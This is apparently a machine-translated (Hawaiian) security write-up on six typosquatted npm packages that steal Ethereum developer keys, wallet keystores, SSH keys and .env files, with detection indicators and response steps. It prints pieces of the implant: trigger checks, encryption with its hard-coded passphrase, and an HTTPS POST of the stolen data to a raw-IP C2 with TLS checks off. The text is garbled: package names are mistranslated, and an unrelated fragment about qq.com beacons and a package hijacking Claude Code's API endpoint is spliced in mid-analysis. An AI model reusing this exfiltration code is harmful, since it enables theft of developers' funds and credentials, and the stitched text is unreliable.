Aku; DR
Ma ka lā 6 o Mei, 2026, hoʻokahi mea hoʻopuka npm, namikazesarada010206, ua hoʻokuke aku i ʻeono mau pūʻolo ʻino e kuhikuhi ana i ka ʻōnaehana hoʻomohala Ethereum, Solidity, a me DeFi.
ʻO nā pūʻolo, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, a web3-utils-core, hoʻohana i nā inoa kūpono i hoʻolālā ʻia e like me nā waihona puke kōkua no nā mea hana Web3 kaulana.
Ua like nā mea a pau i loko o nā pūʻolo ʻeono telemetry.js faila. Ua like ka faila me ka byte ma waena o ka cluster, me SHA-256:
ʻAʻole holo ka polokalamu ʻino i ka manawa hoʻouka. ʻAʻohe preinstall or postinstall makau. Akā, hoʻāla ia ke lawe ʻia mai ka pūʻolo ma o require().
He mea nui kēlā kikoʻī.
Ke kali nei ka implant a hiki i ka wā e hoʻohana maoli ai ka mea hoʻomohala i ka pūʻolo. A laila nānā ia inā like ke kahua hana me kahi kaiapuni hoʻomohala Ethereum / Solidity maoli. Ke nānā nei ia i nā kī Alchemy a i ʻole Infura, nā kī pilikino, nā mnemonics, nā kī deployer, a i ʻole kahi papa kuhikuhi Foundry kūloko.
Inā kūlike ka mea hoʻokipa, hōʻiliʻili ka mea ʻaihue i nā kī pilikino SSH, nā hale kūʻai kī ʻeke ʻo Foundry / Geth / Brownie, .env* nā faila, a me nā loli kaiapuni koʻikoʻi. Hoʻopāʻālua ia i ka pūʻolo me AES-256-GCM me ka hoʻohana ʻana i kahi ʻōlelo huna paʻa a hoʻopuka iā ia i kahi kiko IPv4 C2 maka me ka hōʻoia TLS i hoʻopau ʻia.
Ua hōʻoia ka ʻōnaehana Malware Early Warning (MEW) a Xygeni i nā pūʻolo ʻeono he mea ʻino. Ke kali nei ka pūʻolo hōʻike lawe ʻana i ka papa inoa npm.
ʻO ka Hui: ʻEono Pūʻolo, Hoʻokahi Mea Hoʻopuka
Ka moʻokāki hoʻopuka namikazesarada010206 ua pili ʻia i ka helu wahi Gmail i hōʻoia ʻole ʻia namikazesarada010206@gmail.com.
Ua ʻike ʻia ka hoʻolaha ma ke ʻano he pahū ʻana o hoʻokahi lā ma Mei 6, 2026. Ua hoʻololi ʻia nā pūʻolo ʻeono e like me 1.0.0, ʻaʻohe ona hilinaʻi runtime, a ua hoʻouna wale ʻia ʻekolu mau faila:
package.json index.js telemetry.jsUa hoʻolaha pū lākou i ka waihona kumu like:
https://github.com/harunosakura030303-maker/evmchain-configUa hopu ʻia nā pūʻolo mua ʻekolu e nā scanner MEW i ka wā i paʻi mua ʻia ai. Ua hōʻailona ikaika ʻia nā mea ʻekolu i koe ma hope o ka loiloi ʻana o ka loiloi npm o ka mea hoʻopuka. I ka manawa like like ka byte-like telemetry.js ua hōʻoia ʻia ma waena o ka hui, ua pani ʻia lākou me he mea ʻino lā ma ke kūlike.
| pūʻolo | Version | npm Paʻi ʻia | Tikiki MEW | Verdict |
|---|---|---|---|---|
| viem-core | 1.0.0 | 2026-05-06 01:38:44Z | #51049 | ʻino |
| viem-utils-core | 1.0.0 | 2026-05-06 | #51050 | ʻino |
| nā ʻōnaehana-pale-ʻi-paʻa | 1.0.0 | 2026-05-06 | #51051 | ʻino |
| nā ʻōnaehana evm | 1.0.0 | 2026-05-06 | #51069 | ʻIno, ma ke kūlike |
| nā mea hana hale hao | 1.0.0 | 2026-05-06 | #51071 | ʻIno, ma ke kūlike |
| ʻO ka pūnaewele-ʻoihana-ʻoihana | 1.0.0 | 2026-05-06 | #51070 | ʻIno, ma ke kūlike |
He maʻalahi akā kūpono ke ʻano o ka hoʻolālā inoa.
ʻAʻole hoʻohālike kēia mau pūʻolo i nā inoa pololei ma luna. Akā, hoʻohana lākou i nā hopena "pono" e like me -core, -utils, a -utils-coreʻO ia ka mea e like ai lākou me nā waihona puke hoa e manaʻo paha ai kahi mea hoʻomohala e ʻike kokoke i nā mea hana Web3.
| Pūʻolo ʻino | Pahuhopu Kūpono |
|---|---|
| viem-core | ʻo viem, kahi mea kūʻai aku Ethereum TypeScript kaulana |
| viem-utils-core | viem |
| nā ʻōnaehana-pale-ʻi-paʻa | hardhat, kahi kaiapuni hoʻomohala Solidity maʻamau |
| nā ʻōnaehana evm | Wahi inoa mea hana EVM maʻamau |
| nā mea hana hale hao | hale hana hao, he kaulahao mea hana Solidity |
| ʻO ka pūnaewele-ʻoihana-ʻoihana | web3-utils, nā mea kōkua Web3.js |
ʻO kēia ke ʻano "pūʻolo hoʻohui": ʻaʻole "ʻO wau ka pūʻolo maoli," akā "Ua like wau me ke kōkua kūpono a puni ka pūʻolo maoli."
No nā mea hoʻomohala DeFi e neʻe wikiwiki ana, ua lawa kēlā e hoʻokumu i ka pilikia.
He aha ka mea e hana ʻia ke lawe ʻia mai ka pūʻolo
He liʻiliʻi ke kaulahao hoʻouka, noʻonoʻo ʻia, a kālele ʻia i nā wahi hoʻomohala crypto.
ʻAʻohe makau hoʻonohonoho. Akā, aia i kēlā me kēia pūʻolo kahi index.js e hoʻokuʻu aku i ka hana stub a laila hoʻouka i ka module telemetry ʻino.
require('./telemetry').init();ʻO ke ʻano kēia e hoʻāla ʻia ka polokalamu ʻino i ka lawe mua ʻana mai.
He mea pono kēlā no ka mea hoʻouka. Nui nā scanners a me nā onebox e kālele ana i ke ʻano o ka manawa hoʻouka. Kali kēia pūʻolo a hiki i ka wā e hoʻohana ʻia ai e kahi mea hoʻomohala, script kūkulu, test suite, a i ʻole ke ala runtime.
Puka Hoʻāla: E hoʻā wale ma nā kikowaena hana hoʻomohala Web3 maoli
ʻO ka ʻāpana koʻikoʻi o ka implant ʻo ia ka puka hoʻāla.
Nānā ka polokalamu ʻino i nā loli kaiapuni i loaʻa pinepine ʻia ma nā mīkini hoʻomohala Ethereum / Solidity:
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean);Nānā pū ia inā paha ua hoʻokomo ʻia ʻo Foundry:
fs.existsSync(path.join(os.homedir(), '.foundry'))Inā ʻaʻole ʻoiaʻiʻo kekahi o nā kūlana, e hoʻi ka hana a ʻaʻole hana i kekahi mea.
ʻO ia ka mea e mālie ai ka pūʻolo i nā wahi loiloi maʻamau. ʻO kahi pahu sandbox me ka ʻole o Foundry, nā kī Alchemy, nā kī Infura, nā kī pilikino, a i ʻole nā mnemonics e ʻike paha i kahi lawe mai me ka ʻole o ka pōʻino.
Ma kahi kikowaena kūlike, kali ka polokalamu ʻino i 60 a 90 kekona ma mua o ka hōʻiliʻili ʻana:
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref();Hoʻemi ka lohi i ka pilina maopopo ma waena o ka lawe ʻana mai a me ka exfiltration. .unref() e ʻae pū ke kāhea i ke kaʻina hana kikowaena e puka maʻamau inā ua lawe ʻia mai ka pūʻolo i loko o kahi palapala pōkole.
ʻAʻole kēia he ʻano walaʻau e haki a hopu. He mea ʻaihue ia i hoʻolālā ʻia e pale aku i ka holo ʻana ke ʻole he mea kūpono ke ʻaihue ʻia mai kahi kaiapuni mea hoʻomohala.
Ka mea a ka mea ʻaihue e hōʻiliʻili ai
Ke hala ka puka hoʻāla, hōʻiliʻili ka polokalamu ʻino mai nā kumu koʻikoʻi i ka hoʻomohala ʻana o Web3: nā kī pilikino, nā hale kūʻai kī wallet, nā hōʻoia hoʻolaha, nā mea huna ao, nā hōʻailona npm, a me ka hoʻonohonoho papahana kūloko.
| kahi | He aha ka mea i hōʻiliʻili ʻia |
|---|---|
| kaʻina hana.env | Kekahi loli e kūlike ana /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Nā faila e loaʻa ana iā PRIVATE KEY a i ʻole BEGIN OPENSSH, me ka ʻike piha o ka faila |
| ~/.hale hana hao/nā hale kūʻai kī/* | Nā faila kī waihona ʻeke ʻo Foundry |
| ~/.ethereum/kūʻai kī/* | Nā faila waihona kī ʻeke kālā Geth |
| ~/.brownie/nā moʻokāki/* | Nā faila waihona kī no ka ʻeke kālā Brownie |
| ${cwd}/.env | ʻIke piha o ka faila |
| ${cwd}/.env.local | ʻIke piha o ka faila |
| ${cwd}/.env.production | ʻIke piha o ka faila |
| ${cwd}/.env.hoʻomohala | ʻIke piha o ka faila |
| os.hostname() | ʻIkepili kikowaena |
| crypto.randomUUID() | Ka mea hōʻike i hōʻeha ʻia/kau |
| Lā.i kēia manawa() | Hōʻailona manawa hōʻiliʻili |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.comʻO nā hōʻailona ATTA:
ATTA_ID 00400014144 ATTA_TOKEN 6478159937ʻAʻole hiki iā mākou ke hōʻoia inā ʻo ka telemetry ka analytics ponoʻī a ka mea hoʻohana a i ʻole kahi kahawai i loaʻa kālā ʻokoʻa. Ua like nā hōʻailona ATTA ma nā laʻana ʻelua a mākou i nānā ai.
Hui B: heibai
claude.hk OAuth Phishing + ANTHROPIC_BASE_URL Hijack
ʻO ka hāpana o ʻApelila 1 ka lālā makaʻu a mua hoʻi o ka hoʻolaha.
heibai:2.1.88-claude.hk-4 ua paʻi ʻia e wuguoqiangvip28, kahi moʻokāki i hana ʻia ma Iune 7, 2025. Ua hoʻololi pololei ka pūʻolo iā ia iho e kūʻē i ke kānāwai 2.1.88 Hoʻokuʻu ʻana o ke kanaka.
ʻAʻole ia e hopohopo me ka CA-cert MITM. Akā, ke wahaheʻe nei ia i ka mea hoʻohana e pili ana i ka hopena OAuth.
ʻO nā mea hoʻohui ʻino ma luna o ke kumu Claude Code i hoʻokuʻu ʻia:
| kahi | He aha ka mea i hōʻiliʻili ʻia |
|---|---|
| kaʻina hana.env | Kekahi loli e kūlike ana /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Nā faila e loaʻa ana iā PRIVATE KEY a i ʻole BEGIN OPENSSH, me ka ʻike piha o ka faila |
| ~/.hale hana hao/nā hale kūʻai kī/* | Nā faila kī waihona ʻeke ʻo Foundry |
| ~/.ethereum/kūʻai kī/* | Nā faila waihona kī ʻeke kālā Geth |
| ~/.brownie/nā moʻokāki/* | Nā faila waihona kī no ka ʻeke kālā Brownie |
| ${cwd}/.env | ʻIke piha o ka faila |
| ${cwd}/.env.local | ʻIke piha o ka faila |
| ${cwd}/.env.production | ʻIke piha o ka faila |
| ${cwd}/.env.hoʻomohala | ʻIke piha o ka faila |
| os.hostname() | ʻIkepili kikowaena |
| crypto.randomUUID() | Ka mea hōʻike i hōʻeha ʻia/kau |
| Lā.i kēia manawa() | Hōʻailona manawa hōʻiliʻili |
He kikoʻī loa ka papa inoa i manaʻo ʻia. ʻAʻole kēia he ʻaihue polokalamu kele pūnaewele maʻamau a i ʻole ka ʻeli ʻana i nā palapala hōʻoia ākea. Kuhi ʻia ia i nā mea hoʻomohala e kūkulu, hoʻāʻo, hoʻolaha, a hoʻokele paha i nā polokalamu Ethereum.
He mea nui loa ka hoʻokomo ʻia ʻana o nā hale kūʻai kī ʻo Foundry, Geth, a me Brownie. Hiki i kēia mau faila ke hōʻike i ke komo pololei ʻana i nā wallets a i ʻole nā ʻike hoʻolaha. Inā hiki i ka mea hoʻouka ke hoʻohui iā lākou me nā ʻōlelo huna, nā mnemonics, a i ʻole nā mea huna o ke kaiapuni, hiki paha iā lākou ke hoʻoneʻe i nā kālā, hoʻohālike i nā mea hoʻolaha, a i ʻole e hoʻopilikia i nā hana ʻaelike akamai.
Hoʻopāʻālua ma mua o ka hoʻokaʻawale ʻana
Hoʻopāʻālua ka polokalamu ʻino i ka ʻikepili i hōʻiliʻili ʻia ma mua o ka hoʻouna ʻana aku.
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);ʻO ka ʻōlelo huna i hoʻopaʻa ʻia:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1dUa kāʻei ʻia ka ukana hope loa e like me JSON:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}ʻAʻole hoʻonui ka hoʻopāʻālua ʻana i ka polokalamu ʻino iā ia iho. Eia nō naʻe, hoʻolilo ia i ka nānā ʻana o ka pūnaewele i mea paʻakikī. ʻO ka mea pale e nānā ana i ka puka e ʻike i kahi ukana JSON, akā ʻaʻole nā kī i ʻaihue ʻia, nā faila ʻeke kālā, a i ʻole .env nā ʻike me ka ʻole o ka ʻōlelo huna paʻa a me ka logic decryption.
Ka hoʻokaʻawale ʻana i kahi IPv4 C2 Raw
Ua paʻa ke ala exfiltration:
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {});Hoʻouna ka polokalamu ʻino i ka ʻikepili i:
https://76.13.37.80:8443/api/v1/telemetryʻElua mau kikoʻī i kū i waho.
ʻO ka mea mua, he helu wahi IPv4 maka ka C2 ma mua o kahi kikowaena. Hoʻopau kēlā i ka pono no ke kau inoa kikowaena a pale i kekahi mau ʻike ʻana ma muli o ke kikowaena.
ʻO ka lua, ua hoʻopau ʻia ka hōʻoia TLS me:
rejectUnauthorized: falseʻO ia ka mea e ʻae ai i ka polokalamu ʻino e ʻae i kekahi palapala hōʻoia, me nā palapala hōʻoia i kau inoa ponoʻī ʻia. I nā huaʻōlelo ʻē aʻe, loaʻa i ka mea hoʻouka ka lawe ʻana i hoʻopāʻālua ʻia me ka ʻole o ka pono o kahi palapala hōʻoia lehulehu kūpono.
ʻAʻohe loina hoʻāʻo hou a ʻaʻohe kikowaena fallback. Ua moni mālie ʻia nā hewa. Mālama kēia i ka pūʻolo inā ʻaʻole ma waho o ka pūnaewele a hiki ʻole ke kiʻi ʻia aku ka C2.
No ke aha he mea nui kēia hoʻolaha
ʻO ka hapa nui o nā pūʻolo npm ʻino i manaʻo ʻia no nā mea hoʻomohala e alualu i nā hōʻoia ākea: nā hōʻailona npm, nā kī AWS, nā hōʻailona GitHub, a i ʻole .npmrc waihona.
Hoʻohaiki kēia hoʻolaha i ka pahuhopu.
Ke nānā nei ia i nā hōʻailona e pili ana i ka mīkini i kahi mea hoʻomohala Ethereum a i ʻole Solidity. A laila huki pololei ia i nā waiwai e pono ai i kēlā wahi: nā waihona kī wallet, nā kī pilikino, nā mnemonics, nā kī deployer, .env nā faila, a me nā kī SSH.
ʻOi aku ka weliweli o ka hoʻolaha no nā hui Web3 ma mua o kahi mea ʻaihue npm maʻamau.
Hiki i kahi maʻi holomua ke hōʻike i:
- Nā ʻeke kālā hoʻolaha
- Nā kī hoʻokele ʻaelike akamai
- Nā kī mea hoʻolako RPC
- Nā palapala hōʻoia hoʻolaha ao
- nā hōʻailona hoʻopuka npm
- Loaʻa ka SSH i ka mea hoʻomohala a i ʻole ke kūkulu ʻana i nā ʻōnaehana
- nā mea huna o ka papahana i mālama ʻia i loko
.envwaihona - Nā waihona kī ʻeke kālā no Foundry, Geth, a i ʻole Brownie
Hōʻike pū nā inoa pūʻolo i ka ʻenekinia kaiapili maopopo. Hoʻolālā lākou i ka ʻōnaehana hoʻomohala Web3 ma o nā inoa mea hana maʻamau: viem, hardhat, foundry, evm, a web3.
ʻAʻole pono ka mea hana keaka e hoʻopilikia i nā papahana maoli. Pono wale lākou i kahi mea hoʻomohala e hoʻokomo i kahi mea e like me kahi pūʻolo hoa kūpono.
Nā Hōʻailona o ka Hoʻokuʻikahi a me ka ʻIke ʻana
| Nā Pūʻolo a me ka Mea Hoʻopuka | |
|---|---|
| Field | Value |
| mea hoʻopuka npm | namikazesarada010206 |
| Leka uila a ka mea hoʻopuka | namikazesarada010206@gmail.com |
| Ua hōʻoia ʻia ka leka uila | ʻAʻole |
| SCM hōʻoia | ʻAʻole |
| Ka helu kaulana | 1.0 |
| pūʻolo helu | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core |
| wale nō | Nā 1.0.0 a pau |
| Waihona kumu | https://github.com/harunosakura030303-maker/evmchain-config |
| Ua hōʻoia ʻia he ʻino | ʻEono mau pūʻolo a pau |
| Leakaʻaʻike | |
|---|---|
| ʻAno | Value |
| Ka hopena C2 | https://76.13.37.80:8443/api/v1/telemetry |
| C2 IP | 76.13.37.80 |
| Puka C2 | 8443/tcp |
| Hana TLS | hōʻoleʻAʻole i ʻae ʻia: wahaheʻe |
| ʻAno hoʻouka ukana | {"v":2,"iv": ,"d": ,"ʻo": } |
| Nā faila a me nā hashes | |
|---|---|
| ʻAno | Value |
| telemetry.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Hoʻonohonoho pūʻolo | pūʻolo.json, index.js, telemetry.js |
| Helu o nā faila | 3 |
| Ka nui holoʻokoʻa kokoke | 3.4 KB |
Nā Hōʻailona Hoʻāla
Nānā ka polokalamu ʻino i kēia mau loli kaiapuni:
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEYNānā pū ia no:
~/.foundry/Nā Ala Hoʻokipa i Manaʻo ʻia
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.developmentʻOhi Regex
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/iNā Memo ʻIke
Hoʻokō kekahi mau lula i kēia hoʻolaha me ka ʻole o ka pono o ka nānā piha ʻana i ka hana.
ʻO ka mea mua, e nānā i nā faila laka no nā inoa pūʻolo ʻino ʻeono:
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-coreʻO kēlā me kēia pāʻani i loko package-lock.json, yarn.lock, pnpm-lock.yaml, a node_modules pono e mālama ʻia ka mōʻaukala ma ke ʻano he hanana koʻikoʻi.
ʻO ka lua, e nānā no nā kaʻina hana Node.js e heluhelu ana i nā ala keystore wallet:
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/He ʻano hana kūpono ʻole kēia no kahi pūʻolo i lawe ʻia mai ma ke ʻano he mea kōkua. He mea kānalua loa ia i ka wā e ukali ʻia ai e ka hana pūnaewele i waho.
ʻO ke kolu, e ālai a hoʻomaopopo paha i nā pilina HTTPS i:
76.13.37.80:8443ʻOi loa aku i ka wā e like ai ke ala noi:
/api/v1/telemetryʻO ka hā, e ʻimi i nā pūʻolo npm e hoʻohui i kēia mau ʻano:
- Mea hoʻopuka hou a haʻahaʻa paha ka inoa
- Moʻokāki Gmail i hōʻoia ʻole ʻia
- Inoa pūʻolo pili pūnaewele Web3
- ʻAʻohe mōʻaukala waihona koʻikoʻi
- Hoʻonohonoho pūʻolo liʻiliʻi
index.jse hoʻouka ana i kahi faila telemetry a i ʻole faila kōkua- ʻAʻohe hilinaʻi runtime
- ʻO ka hōʻiliʻili loli kaiapuni koʻikoʻi
- Loaʻa i ka hale kūʻai kī ʻeke kālā
ʻOi aku ka pono o kēia ʻano ma mua o kahi IOC hoʻokahi no ka mea hiki i ka pūʻolo aʻe ke hoʻololi i ka helu wahi IP akā mālama i ka logic targeting like.
Papa Inoa Pane Hoʻokuʻikahi
Inā hoʻohana kahi mea hoʻomohala i kekahi o nā pūʻolo ʻeono a kūlike ko lākou wahi me ka puka hoʻāla, e mālama i ka workstation e like me ka hoʻopilikia ʻia.
ʻO ia hoʻi nā mīkini me Foundry i hoʻokomo ʻia, nā kī Alchemy a i ʻole Infura i ke kaiapuni, nā kī pilikino, nā mnemonics, a i ʻole nā kī deployer.
Pane i ʻōlelo ʻia:
- E hoʻokaʻawale i ka mea hoʻokipa mai ka pūnaewele.
- E mālama
node_modules, nā faila laka, ka mōʻaukala pūpū, a me nā log pili no nā forensics. - E hoʻohuli i kēlā me kēia hui kī SSH ma lalo
~/.ssh/. - E hoʻohuli i nā kī ʻeke kālā no kēlā me kēia hale kūʻai kī ma lalo
~/.foundry,~/.ethereum, a~/.brownie. - E hoʻoili i ke kālā i nā wallets hou.
- E hoʻohuli i kēlā me kēia mea huna i mālama ʻia
.env*nā faila i loko o nā waihona i hana ai ka mea hoʻomohala. - E hoʻohuli i nā mea huna o ke kaiapuni e kūlike ana i ka regex hōʻiliʻili, me nā kī AWS, nā hōʻailona npm, nā hōʻailona hoʻolaha, nā kī API, nā kī pilikino, nā hua, a me nā mnemonics.
- ʻO ke ao loiloi, npm, GitHub, mea hoʻolako RPC, a me ka hana blockchain mai ka wā i hoʻokomo mua ʻia ai ka pūʻolo.
- E hoʻomaʻemaʻe hou i ke kaʻina hana ma mua o ka hoʻohana hou ʻana.
Nā mea a nā mea pale e pono ai ke lawe aku
Hōʻike kēia hoʻolaha pehea e ulu nei ka npm typosquatting a puni nā ʻōnaehana hoʻomohala waiwai nui.
ʻAʻole pono ka mea hana keaka i ke ahonui. ʻAʻole pono lākou i ka hoʻopōʻeleʻele ʻia. ʻAʻole pono lākou i ka hoʻokō ʻana i ka manawa hoʻouka.
Akā, ua hilinaʻi lākou i ʻekolu mau mea:
- Nā inoa pūʻolo Web3 kūpono
- Hoʻāla wale ʻia ma nā mīkini hoʻomohala crypto maoli
- ʻAihue pololei o nā faila a me nā mea huna e pili nui ana i nā mea hoʻomohala Ethereum
ʻO ia ka mea e maʻalahi ai ka nalo ʻana o ka hoʻolaha i ka nānā ʻana ākea a weliweli hoʻi ke pae ia ma ke kaiapuni kūpono.
No nā hui Web3, ua maopopo ka haʻawina: e mālama i nā inoa hilinaʻi ma ke ʻano he ʻāpana o kāu kumu hoʻohālike hoʻoweliweli. ʻO kahi pūʻolo e like me ke kōkua ʻino ʻole hiki ke lilo i ala pōkole loa i ka hoʻopilikia ʻana i ka ʻeke kālā.
Ua hōʻike ʻia i ka papa inoa npm. E hōʻano hou mākou i kēia pou ke wehe ʻia ka moʻokāki hoʻopuka a me nā pūʻolo.
